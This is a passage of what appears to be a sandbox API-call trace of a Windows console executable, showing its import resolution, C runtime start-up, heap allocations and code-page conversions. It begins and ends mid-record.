(hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0109.323] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0109.323] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0109.323] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0109.323] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0109.323] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0109.323] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0109.323] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0109.323] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0109.324] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0109.324] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0109.324] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0109.324] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0109.324] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0109.324] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0109.324] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0109.324] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0109.324] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0109.324] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0109.324] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0109.324] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0109.324] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0109.324] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0109.325] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0109.325] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0109.325] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0109.325] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0109.325] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0109.325] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0109.325] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0109.326] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0109.326] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0109.326] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0109.326] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0109.326] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0109.326] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0109.326] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0109.326] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0109.326] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0109.326] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0109.326] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0109.327] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0109.327] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0109.327] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0109.327] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0109.327] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0109.327] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0109.327] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0109.327] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0109.327] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0109.327] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0109.327] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0109.327] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0109.327] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0109.327] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0109.328] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0109.328] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0109.328] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0109.328] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0109.328] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0109.328] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0109.328] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0109.328] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0109.328] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0109.328] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0109.328] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0109.328] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0109.328] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0109.328] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0109.329] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0109.329] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0109.329] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0109.329] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0109.329] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0109.329] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0109.329] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0109.329] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0109.329] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0109.329] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0109.329] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0109.329] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0109.329] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0109.330] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0109.330] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0109.330] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0109.330] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0109.330] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0109.330] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0109.330] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0109.330] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0109.330] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0109.330] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0109.330] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0109.330] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0109.331] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0109.331] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0109.331] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0109.331] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0109.331] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0109.331] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0109.331] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0109.331] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0109.331] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0109.331] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74310000 [0109.331] GetProcAddress (hModule=0x74310000, lpProcName="GetFileVersionInfoW") returned 0x743119f4 [0109.331] GetProcAddress (hModule=0x74310000, lpProcName="VerQueryValueW") returned 0x74311b51 [0109.332] GetProcAddress (hModule=0x74310000, lpProcName="GetFileVersionInfoSizeW") returned 0x743119d9 [0109.332] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0109.340] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0109.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xe49eba00, dwHighDateTime=0x1d5d06a)) [0109.340] GetCurrentThreadId () returned 0xef8 [0109.340] GetCurrentProcessId () returned 0xef4 [0109.340] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=25129257850) returned 1 [0109.536] GetProcessHeap () returned 0x580000 [0109.537] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0109.537] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0109.537] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0109.537] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0109.537] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0109.537] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0109.537] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0109.537] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0109.538] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0109.538] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0109.538] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0109.538] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0109.538] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0109.538] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0109.538] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0109.538] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0109.538] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0109.538] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0109.538] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0109.538] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0109.538] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0109.539] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0109.539] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0109.539] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0109.539] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0109.539] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0109.539] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0109.539] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0109.539] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0109.539] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0109.539] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0109.539] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0109.539] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0109.539] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0109.540] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3bc) returned 0x596170 [0109.540] GetCurrentThreadId () returned 0xef8 [0109.540] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x18) returned 0x596538 [0109.540] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x800) returned 0x596558 [0109.540] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"trademarksnominationbrighton.exe\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0x3c9961a5, hStdError=0x0)) [0109.540] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0109.540] GetFileType (hFile=0x3) returned 0x2 [0109.541] GetStdHandle (nStdHandle=0xfffffff5) returned 0x80 [0109.541] GetFileType (hFile=0x80) returned 0x3 [0109.541] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0109.541] GetFileType (hFile=0xb) returned 0x2 [0109.541] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"trademarksnominationbrighton.exe\" -nobanner" [0109.541] GetEnvironmentStringsW () returned 0x596d60* [0109.542] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba8) returned 0x597910 [0109.542] FreeEnvironmentStringsW (penv=0x596d60) returned 1 [0109.542] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0109.542] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9c) returned 0x5984c0 [0109.542] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xa0) returned 0x598568 [0109.542] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3e) returned 0x598628 [0109.542] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x599610 [0109.542] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6e) returned 0x599688 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x78) returned 0x58f980 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x62) returned 0x599700 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2e) returned 0x599770 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x48) returned 0x5997a8 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x4c) returned 0x5997f8 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x28) returned 0x599850 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1a) returned 0x595b40 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x4a) returned 0x599880 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x72) returned 0x58fa00 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x30) returned 0x5998d8 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2e) returned 0x599910 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1c) returned 0x595b68 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xd2) returned 0x599948 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x7c) returned 0x599a28 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x36) returned 0x599ab0 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3a) returned 0x598670 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x90) returned 0x599af0 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x24) returned 0x599b88 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x30) returned 0x599bb8 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x36) returned 0x599bf0 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x48) returned 0x599c30 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x52) returned 0x599c80 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3c) returned 0x5986b8 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x18) returned 0x599ce0 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x82) returned 0x599d00 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2e) returned 0x599d90 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1e) returned 0x595b90 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2c) returned 0x599dc8 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x54) returned 0x599e00 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x52) returned 0x599e60 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2a) returned 0x599ec0 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3c) returned 0x598700 [0109.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x54) returned 0x599ef8 [0109.544] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x24) returned 0x599f58 [0109.544] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x30) returned 0x599f88 [0109.544] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8c) returned 0x596d60 [0109.544] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x597910 | out: hHeap=0x580000) returned 1 [0109.544] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x800) returned 0x596df8 [0109.544] GetLastError () returned 0x0 [0109.544] SetLastError (dwErrCode=0x0) [0109.544] GetLastError () returned 0x0 [0109.544] SetLastError (dwErrCode=0x0) [0109.544] GetLastError () returned 0x0 [0109.545] SetLastError (dwErrCode=0x0) [0109.545] GetACP () returned 0x4e4 [0109.545] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x220) returned 0x597600 [0109.545] GetLastError () returned 0x0 [0109.545] SetLastError (dwErrCode=0x0) [0109.545] IsValidCodePage (CodePage=0x4e4) returned 1 [0109.545] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0109.545] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0109.545] GetLastError () returned 0x0 [0109.545] SetLastError (dwErrCode=0x0) [0109.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0109.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0109.545] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0109.545] GetLastError () returned 0x0 [0109.545] SetLastError (dwErrCode=0x0) [0109.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0109.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0109.545] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0109.545] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0109.545] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" 